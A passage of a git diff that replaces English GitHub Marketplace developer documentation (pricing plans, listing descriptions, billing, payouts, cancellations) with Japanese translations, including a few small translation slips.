+価格プランを取り下げることなくGitHub Marketplaceの無料トライアルを無効化することはできますが、そうすると将来的にそのプランの無料トライアルを開始できなくなります。 価格プランに対する無料トライアルを無効にすることにした場合、サインアップ済みのユーザは無料トライアルを最後まで利用できます。
 
-After retiring a pricing plan, you can create a new pricing plan with the same name as the removed pricing plan. For instance, if you have a "Pro" pricing plan but need to change the flat rate price, you can remove the "Pro" pricing plan and create a new "Pro" pricing plan with an updated price. Users will be able to purchase the new pricing plan immediately.
+価格プランを終了した後には、削除した価格プランと同じ名前で新しい価格プランを作成できます。 たとえば、「Pro」価格プランがあるものの、定額料金を変更する必要がある場合、その「Pro」価格プランを削除し、更新された価格で新しい「Pro」価格プランを作成できます。 ユーザは、すぐに新しい価格プランで購入できるようになります。
 
-If you are not a verified publisher, then you cannot change a pricing plan for your app. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+あなたが検証済みパブリッシャーでない場合は、アプリケーションの価格プランを変更できません。 検証済みパブリッシャーになる方法の詳細については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」を参照してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
index 0fc3e55f1b..25d7ba332c 100644
--- a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
+++ b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Writing a listing description for your app
-intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.'
+title: アプリケーションのリストの説明を書く
+intro: '{% data variables.product.prodname_marketplace %}で[アプリケーションをリスト](/marketplace/listing-on-github-marketplace/) するには、GitHubのガイドラインに従ってアプリケーションの説明を書き、画像を指定する必要があります。'
 redirect_from:
   - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions
   - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions
@@ -16,181 +16,183 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Write listing descriptions
+shortTitle: リストの説明を書く
 ---
-Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing.
 
-## Naming and links
+ドラフトリストの [**リストの説明**] セクションに入力する必要があるフィールドについてのガイドラインは以下のとおりです。
 
-### Listing name
+## 名前のリンク
 
-Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.product.product_location %}, unless the name is your own user or organization name. 
+### リスト名
 
-### Very short description
+リストの名前は、 [{% data variables.product.prodname_marketplace %}ホームページ](https://github.com/marketplace)に表示されます。 名前は255文字を上限とし、アプリケーションの名前と異なっていても構いません。 リストの名前は、{% data variables.product.product_location %}上の既存アカウントと同じ名前にできません。ただし、その名前があなた自身のユーザ名やOrganization名である場合は例外です。
 
-The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace).
+### ごく簡単な説明
 
-![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png)
+コミュニティには、[{% data variables.product.prodname_marketplace %}ホームページ](https://github.com/marketplace)のアプリケーション名の下に「ごく短い」説明が表示されます。
 
-#### Length
+![{% data variables.product.prodname_marketplace %}アプリケーションの短い説明](/assets/images/marketplace/marketplace_short_description.png)
 
-We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly.
+#### 長さ
 
-#### Content
+簡単な説明は、40～80文字にとどめることをお勧めします。 それ以上の文字数を使うこともできますが、説明は簡潔なほうが顧客に読みやすく、わかりやすくなります。
 
-- Describe the app’s functionality. Don't use this space for a call to action. For example:
+#### 内容
 
-  **DO:** Lightweight project management for GitHub issues
+- アプリケーションの機能を説明します。 このスペースを操作の指示には使用しないでください。 例:
 
-  **DON'T:** Manage your projects and issues on GitHub
+  **良い例:** GitHub Issueの軽量なプロジェクト管理
 
-  **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_
+  **悪い例:** GitHubでプロジェクトとIssueを管理してください
 
-- Don’t repeat the app’s name in the description.
+  **ヒント:** 「～してください」ではなく「～します」と書けば、一応、説明として許容されます。例: _GitHubでプロジェクトとIssueを管理します_
 
-  **DO:** A container-native continuous integration tool
+- 説明でアプリケーション名は繰り返さないようにします。
 
-  **DON'T:** Skycap is a container-native continuous integration tool
+  **良い例:** コンテナ対応の継続的インテグレーションツール
 
-#### Formatting
+  **悪い例:** Skycapは、コンテナ対応の継続的インテグレーションツールです
 
-- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns.
+#### フォーマット
 
-- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence.
+- 英文字表記は固有名詞に使用し、大文字小文字は常に正しく使ってください。 大文字で始めて英文字表記するのは固有名詞だけです。
 
-- Only capitalize proper nouns. For example:
+- 短い説明の終わりには句読点を付けません。 完全文では書かないようにし、複数文は絶対に避けてください。
 
-  **DO:** One-click delivery automation for web developers
+- 大文字で始めて英文字表記するのは固有名詞だけです。 例:
 
-  **DON'T:** One-click delivery automation for Web Developers
+  **良い例:** Web開発者向けのワンクリック配信の自動化
 
-- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  **悪い例:** Web Developer用のワンクリック配信の自動化
 
-- Avoid referring to the GitHub community as "users."
+- 3つ以上の項目を並べるとき、[最後の「および」の前には読点](https://en.wikipedia.org/wiki/Serial_comma)を打ちます。
 
-  **DO:** Create issues automatically for people in your organization
+- GitHubコミュニティを「ユーザー」と称するのは避けてください。
 
-  **DON'T:** Create issues automatically for an organization's users
+  **良い例:** Organizationの人に自動的にIssueを作成する
 
-- Avoid acronyms unless they’re well established (such as API). For example:
+  **悪い例:** 組織のユーザーについて自動的にIssueを作成する
 
-  **DO:** Agile task boards, estimates, and reports without leaving GitHub
+- 略語は一般的な場合 (APIなど) を除いて使用しないでください。 例:
 
-  **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI
+  **良い例:** GitHubから移動しないアジャイルタスクボード、推定、およびレポート
 
-### Categories
+  **悪い例'T:** GitHub UIから移動しないアジャイルタスクボード、推定、およびレポート
 
-Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app.
+### カテゴリ
 
-### Supported languages
+{% data variables.product.prodname_marketplace %}のアプリケーションはカテゴリ別に表示できます。 アプリケーションの主な機能を端的に表すカテゴリを [**Primary category**] ドロップダウンで選択し、オプションでstrong x-id="1">アプリケーションに適した [**Secondary category**] を選択します。
 
-If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional.
+### サポートされている言語
 
-### Listing URLs
+アプリケーションが特定の言語でのみ動作する場合は、アプリケーションがサポートしている言語を最大10まで選択します。 選択した言語はアプリケーションの{% data variables.product.prodname_marketplace %}リストページに表示されます。 このフィールドはオプションです。
 
-**Required URLs**
-* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries.
-* **Privacy policy URL:** The web page that displays your app's privacy policy.
-* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App.
+### URLのリスト
 
-**Optional URLs**
-* **Company URL:** A link to your company's website.
-* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance.
-* **Documentation URL:** A link to documentation that teaches customers how to use your app.
+**必須のURL**
+* **カスタマーサポートのURL:** 顧客がテクニカルサポート、製品、またはアカウントについて問い合わせるためにアクセスするWebページのURL。
+* **プライバシーポリシーのURL:** アプリケーションのプライバシーポリシーが表示されるWebページ。
+* **インストールURL:** このフィールドが表示されるのはOAuthアプリケーションの場合のみです。 (GitHub AppはこのURLを使用しません。かわりに、GitHub Appの設定ページからオプションの設定URLを使用するからです。) 顧客がOAuth Appを購入する際、アプリケーションのインストール後にGitHubは顧客をインストールURLにリダイレクトします。 OAuth認証フローを始めるには、顧客を`https://github.com/login/oauth/authorize`にリダイレクトする必要があります。 詳細については、「[OAuthアプリケーションの新規購入](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)」を参照してください。 GitHub Appをリストする場合、このフィールドはスキップしてください。
 
-## Logo and feature card
+**オプションのURL**
+* **企業URL:** 会社のWebサイトへのリンク。
+* **ステータスURL:** アプリケーションのステータスを表示するWebページへのリンク。 ステータスページには、現在および履歴のインシデントレポート、Webアプリケーションの稼働時間ステータス、およびメンテナンスのスケジュールが記載されます。
+* **ドキュメントのURL:** 顧客にアプリケーションの使用方法を説明するドキュメントへのリンク。
 
-{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps.
+## ロゴと機能カード
 
-![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png)
+{% data variables.product.prodname_marketplace %}には、アプリケーションを視覚的に区別するために、円形のバッジの中に四角いロゴ画像の付いたリストが表示されます。
 
-A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card.
+![GitHub Marketplaceのロゴおよびバッジ画像](/assets/images/marketplace/marketplace-logo-and-badge.png)
 
-![Feature card](/assets/images/marketplace/marketplace_feature_card.png)
+機能カードは、アプリケーションのロゴ、名前、およびブランドの個性を捉えた顧客の背景画像で構成されます。 アプリケーションが、ランダムに選択されて[ホームページ](https://github.com/marketplace)の上部に表示されているアプリケーションの1つである場合、{% data variables.product.prodname_marketplace %}には、このカードが表示されます。 各アプリケーションのごく短い説明が、機能カードの下に表示されます。
 
-As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card.
+![機能カード](/assets/images/marketplace/marketplace_feature_card.png)
 
-#### Guidelines for logos
+画像をアップロードして色を選択すると、{% data variables.product.prodname_marketplace %}のドラフトリストに、ロゴと機能カードのプレビューが表示されます。
 
-You must upload a custom image for the logo. For the badge, choose a background color.
+#### ロゴのガイドライン
 
-- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published.
-- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center.
-- For best results, upload a logo image with a transparent background.
-- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image.
-- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens.
+ロゴ用として、カスタム画像をアップロードする必要があります。 バッジには、背景色を選択します。
 
-#### Guidelines for feature cards
+- リストを公開するときにアップスケールしなくて済むように、アップロードするロゴ画像は200×200ピクセル以上にしてください。
+- ロゴは正方形にトリミングされます。 ロゴが中央にある正方形の画像ファイルをアップロードすることをお勧めします。
+- 最適な結果を得るには、透明な背景のロゴ画像をアップロードしてください。
+- 継ぎ目がないようにバッジを表示するには、ロゴ画像の背景色 (または透明) と一致する色をバッジの背景として選択します。
+- 単語や文章が含まれるロゴ画像の使用は避けてください。 文字が含まれる画像は、小さい画面で適切に縮小されません。
 
-You must upload a custom background image for the feature card. For the app's name, choose a text color.
+#### 機能カードのガイドライン
 
-- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality.
-- Background image measures 965 pixels x 482 pixels (width x height).
-- Choose a text color for your app's name that shows up clearly over the background image.
+機能カード用として、カスタム背景画像をアップロードする必要があります。 アプリケーションの名前には、文字色を選択します。
 
-## Listing details
+- カードを視覚的に区別しやすいように、また{% data variables.product.prodname_marketplace %}ホームページの暗い背景に対して目立つように、背景画像にはパターンまたはテクスチャを使用します。 機能カードには、アプリケーションのブランドの個性を取得する必要があります。
+- 背景画像の大きさは、幅965ピクセル x 高さ482ピクセルです。
+- アプリケーション名の文字色には、背景画像に対してはっきり見える色を選択してください。
 
-To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description."
+## リストの詳細
 
-Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page.
+アプリケーションのランディングページにアクセスするには、{% data variables.product.prodname_marketplace %}ホームページまたはカテゴリページからアプリケーションの名前をクリックします。 ランディングページページには、アプリケーションの長い説明が表示されます。説明は「概要説明」と「詳細説明」の2部で構成されています。
 
-![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png)
+「概要説明」は、アプリケーションの{% data variables.product.prodname_marketplace %}ランディングページの上部に表示されます。
 
-Clicking **Read more...**, displays the "Detailed description."
+![{% data variables.product.prodname_marketplace %}の概要説明](/assets/images/marketplace/marketplace_intro_description.png)
 
-![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png)
+[**Read more...**] をクリックすると、「詳細説明」が表示されます。
 
-Follow these guidelines for writing these descriptions.
+![{% data variables.product.prodname_marketplace %}の詳細説明](/assets/images/marketplace/marketplace_detailed_description.png)
 
-### Length
+説明の記述は、以下のガイドラインに従ってください。
 
-We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly.
+### 長さ
 
-You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description.
+[アプリケーションをリストする](/marketplace/listing-on-github-marketplace/)ときの必須の「概要説明」フィールドに、150～250文字の長さで1、2文くらいの概要を記述してください。 それ以上の文字数を使うこともできますが、概要は簡潔なほうが顧客に読みやすく、わかりやすくなります。
 
-### Content
+オプションの「詳細説明」フィールドに情報を追加することもできます。 アプリケーションのランディングページで概要説明の下にある [**Read more...**] をクリックすると、この説明が表示されます。 詳細説明は3～5個の[バリュープロポジション](https://en.wikipedia.org/wiki/Value_proposition)で構成され、それぞれが1、2文の説明です。 この説明には、最大1,000文字まで使用できます。
 
-- Always begin introductory descriptions with your app's name.
+### 内容
 
-- Always write descriptions and value propositions using the active voice.
+- 概要説明は、必ずアプリケーション名から始めます。
 
-### Formatting
+- 説明とバリュープロポジションは、必ず能動態で書きます。
 
-- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns.
+### フォーマット
 
-- Use periods in your descriptions. Avoid exclamation marks.
+- バリュープロポジションでは、英文字表記は固有名詞に使用し、大文字小文字は常に正しく使ってください。 大文字で始めて英文字表記するのは固有名詞だけです。
 
-- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence.
+- 説明では句点を使用します。 感嘆符は避けてください。
 
-- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example:
+- バリュープロポジションのタイトルの終わりには句読点を付けません。 バリュープロポジションのタイトルを完全文では書かないようにし、複数文は避けてください。
 
-  ### Learn the skills you need
+- 各バリュープロポジションには、タイトルとそれに続く説明があります。 タイトルは、Markdownを使用して[レベル3ヘッダ](/articles/basic-writing-and-formatting-syntax/#headings)としてフォーマットします。 例:
 
-  GitHub Learning Lab can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more.
 
-- Only capitalize proper nouns.
+  ### 必要なスキルを学ぶ
 
-- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  GitHub Learning Labでは、GitHubの使い方を学習、Markdownによる効果的な連絡、マージコンフリクトの処理などが可能です。
 
-- Avoid referring to the GitHub community as "users."
+- 大文字で始めて英文字表記するのは固有名詞だけです。
 
-  **DO:** Create issues automatically for people in your organization
+- 3つ以上の項目を並べるとき、[最後の「および」の前には読点](https://en.wikipedia.org/wiki/Serial_comma)を打ちます。
 
-  **DON'T:** Create issues automatically for an organization's users
+- GitHubコミュニティを「ユーザー」と称するのは避けてください。
 
-- Avoid acronyms unless they’re well established (such as API).
+  **良い例:** Organizationの人に自動的にIssueを作成する
 
-## Product screenshots
+  **悪い例:** 組織のユーザーについて自動的にIssueを作成する
 
-You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page.
+- 略語は一般的な場合 (APIなど) を除いて使用しないでください。
 
-### Guidelines for screenshots
+## 製品のスクリーンショット
 
-- Images must be of high resolution (at least 1200px wide).
-- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next.
-- Show as much of the user interface as possible so people can see what your app does.
-- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes.
-- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots.
-- Captions are most effective when they are short and snappy.
+アプリケーションのランディングページで表示されるように、アプリケーションのスクリーンショット画像を5つまでアップロードできます。 スクリーンショットごとに状況がわかるキャプションをオプションとして追加します。 スクリーンショットをアップロードすると、ランディングページに表示したい順序でドラッグできます。
 
-![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png)
+### スクリーンショットのガイドライン
+
+- 画像は高解像度 (幅1200px以上) でなければなりません。
+- 画像を次から次へのクリックしたときにページが移動するのを避けるために、すべての画像は高さと幅 (アスペクト比) を等しくする必要があります。
+- アプリケーションの動作が見えるように、ユーザーインターフェースはできるだけ多く表示してください。
+- ブラウザーでアプリケーションのスクリーンショットを取得するときには、ディスプレイウィンドウの内容のみを含めるようにします。 アドレスバー、タイトルバー、ツールバーのアイコンは含めないでください。小さい画面で適切に縮小されません。
+- アップロードしたスクリーンショットは、アプリケーションのランディングページにあるボックスに表示されるので、スクリーンショットの周囲にボックスや枠線は必要ありません。
+- キャプションは、短く簡潔なほうが効果があります。
+
+![GitHub Marketplaceのスクリーンショット画像](/assets/images/marketplace/marketplace-screenshots.png)
diff --git a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
index e7cd6e457d..f83085caef 100644
--- a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
+++ b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
@@ -1,6 +1,6 @@
 ---
-title: Billing customers
-intro: 'Apps on {% data variables.product.prodname_marketplace %} should adhere to GitHub''s billing guidelines and support recommended services. Following our guidelines helps customers navigate the billing process without any surprises.'
+title: 顧客への課金
+intro: '{% data variables.product.prodname_marketplace %}上のアプリケーションは、GitHubの課金ガイドラインと、推奨サービスのサポートを遵守しなければなりません。 弊社のガイドラインに従うことで、顧客は予想外のことなく支払いプロセスを進んで行きやすくなります。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace
   - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace
@@ -12,38 +12,39 @@ versions:
 topics:
   - Marketplace
 ---
-## Understanding the billing cycle
 
-Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)."
+## 支払いを理解する
 
-## Providing billing services in your app's UI
+顧客は、アプリケーションの購入時に月次あるいは年次の支払いサイクルを選択できます。 顧客が行う支払いサイクルとプランの選択に対するすべての変更は、`marketplace_purchase`イベントを発生させます。 `marketplace_purchase` webhookのペイロードを参照すれば、顧客がどの支払いサイクルを選択したのか、そして次の支払日がいつ始まるのか（`effective_date`）を知ることができます。 webhookのペイロードに関する情報については、「[{% data variables.product.prodname_marketplace %} APIのwebhookイベント](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)」を参照してください。
 
-Customers should be able to perform the following actions from your app's website:
-- Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately.
+## アプリケーションのUIにおける支払いサービスの提供
+
+アプリケーションのWebサイトからは、顧客が以下のアクションを行えなければなりません。
+- 顧客は、個人とOrganizationのアカウントで別々に{% data variables.product.prodname_marketplace %}のプランを変更したり、キャンセルしたりできなければなりません。
 {% data reusables.marketplace.marketplace-billing-ui-requirements %}
 
-## Billing services for upgrades, downgrades, and cancellations
+## アップグレード、ダウングレード、キャンセルのための支払いサービス
 
-Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+明確で一貫性のある支払いプロセスを保つために、アップグレード、ダウングレード、キャンセルについて以下のガイドラインに従ってください。 {% data variables.product.prodname_marketplace %}の購入イベントに関する詳細な指示については、「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。
 
-You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan).
+`marketplace_purchase` webhookの`effective_date`キーを使えば、プランの変更がいつ生じるのかを確認し、定期的に[プランのアカウントのリスト](/rest/reference/apps#list-accounts-for-a-plan)を同期できます。
 
-### Upgrades
+### アップグレード
 
-When a customer upgrades their pricing plan or changes their billing cycle from monthly to yearly, you should make the change effective for them immediately. You need to apply a pro-rated discount to the new plan and change the billing cycle.
+顧客が価格プランをアップグレードしたり、月次から年次へ支払いサイクルを変更したりした場合、その変更をすぐに有効にしなければなりません。 新しいプランに対して日割引を適用し、支払いサイクルを変更しなければなりません。
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)."
+アプリケーションでのアップグレード及びダウングレードワークフローの構築に関する情報については、「[プラン変更の処理](/developers/github-marketplace/handling-plan-changes)」を参照してください。
 
-### Downgrades and cancellations
+### ダウングレードとキャンセル
 
-Downgrades occur when a customer moves to a free plan from a paid plan, selects a plan with a lower cost than their current plan, or changes their billing cycle from yearly to monthly. When downgrades or cancellations occur, you don't need to provide a refund. Instead, the current plan will remain active until the last day of the current billing cycle. The `marketplace_purchase` event will be sent when the new plan takes effect at the beginning of the customer's next billing cycle.
+ダウングレードは、顧客がFreeプランから有料プランに移行し、現在のプランよりも低コストなプランを選択するか、支払いサイクルを年次から月次に変更した場合に生じます。 ダウングレードもしくはキャンセルが生じた場合、返金は必要ありません。 その代わりに、現在のプランは現在の支払いサイクルの最終日まで有効です。 顧客の次の支払いサイクルの開始時点で、新しいプランが有効になると、`marketplace_purchase`イベントが送信されます。
+
+顧客がプランをキャンセルした場合、以下を行わなければなりません。
+- Freeプランがある場合には、自動的にFreeプランにダウングレードします。
 
-When a customer cancels a plan, you must:
-- Automatically downgrade them to the free plan, if it exists.
-  
   {% data reusables.marketplace.cancellation-clarification %}
-- Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time.
+- 顧客が後でプランを継続したくなった場合には、GitHubを通じてプランをアップグレードできるようにします。
 
-For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)."
+アプリケーションでのキャンセルのワークフローの構築に関する情報については、「[プランのキャンセルの処理](/developers/github-marketplace/handling-plan-cancellations)」を参照してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
index b8325be8fc..433a5f2ea7 100644
--- a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
+++ b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Selling your app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for selling your app on {% data variables.product.prodname_marketplace %}.'
+title: GitHub Marketplaceでのアプリケーションの販売
+intro: 'アプリケーションを{% data variables.product.prodname_marketplace %}販売するための要件とベストプラクティスについて学んでください。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing
@@ -17,6 +17,6 @@ children:
   - /pricing-plans-for-github-marketplace-apps
   - /billing-customers
   - /receiving-payment-for-app-purchases
-shortTitle: Sell apps on the Marketplace
+shortTitle: Marketplaceでアプリケーションを販売
 ---
 
diff --git a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
index 37bfe4dd23..029b5b0031 100644
--- a/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
+++ b/translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving payment for app purchases
-intro: 'At the end of each month, you''ll receive payment for your {% data variables.product.prodname_marketplace %} listing.'
+title: アプリケーションの購入に対する支払いの受け取り
+intro: '各月の終わりに、{% data variables.product.prodname_marketplace %}リストに対する支払いを受け取ります。'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
@@ -13,16 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Receive payment
+shortTitle: 支払いを受け取る
 ---
-After your {% data variables.product.prodname_marketplace %} listing for an app with a paid plan is created and approved, you'll provide payment details to {% data variables.product.product_name %} as part of the financial onboarding process.
 
-Once your revenue reaches a minimum of 500 US dollars for the month, you'll receive an electronic payment from {% data variables.product.company_short %}. This will be the income from marketplace transactions minus the amount charged by {% data variables.product.company_short %} to cover their running costs.
+有料プランのあるアプリケーションが作成され、{% data variables.product.prodname_marketplace %}に掲載が承認された後、財務的オンボーディングプロセスの一環として支払い情報の詳細を{% data variables.product.product_name %}に提供します。
 
-For transactions made before January 1, 2021, {% data variables.product.company_short %} retains 25% of transaction income. For transactions made after that date, only 5% is retained by {% data variables.product.company_short %}. This change will be reflected in payments received from the end of January 2021 onward.
+収益が500米ドルに達した月に、{% data variables.product.company_short %}からの電子決済を受け取ります。 この金額は、Marketplaceの取引から、運営費として{% data variables.product.company_short %}が課した金額を差し引いたものとなります。
+
+2021年1月1日より前の取引については、{% data variables.product.company_short %}は取引による収入のうち25%を差し引きます。 その後の取引については、{% data variables.product.company_short %}は5%のみ差し引きます。 この変更は、2021年1月末以降に受け取る支払いより反映されます。
 
 {% note %}
 
-**Note:** For details of the current pricing and payment terms, see "[{% data variables.product.prodname_marketplace %} developer agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+**注釈:** 現在の価格プランと支払い条件の詳細については、「[{% data variables.product.prodname_marketplace %} 開発者同意書](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)」を参照してください。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
index bc5ef37804..63dc7d6486 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan cancellations
-intro: 'Cancelling a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `cancelled` action, which kicks off the cancellation flow.'
+title: プランのキャンセルの処理
+intro: '{% data variables.product.prodname_marketplace %}アプリケーションをキャンセルすると、[`marketplace_purchase`イベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhookが`cancelled`アクション付きでトリガされます。これによって、キャンセルのフローが開始されます。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
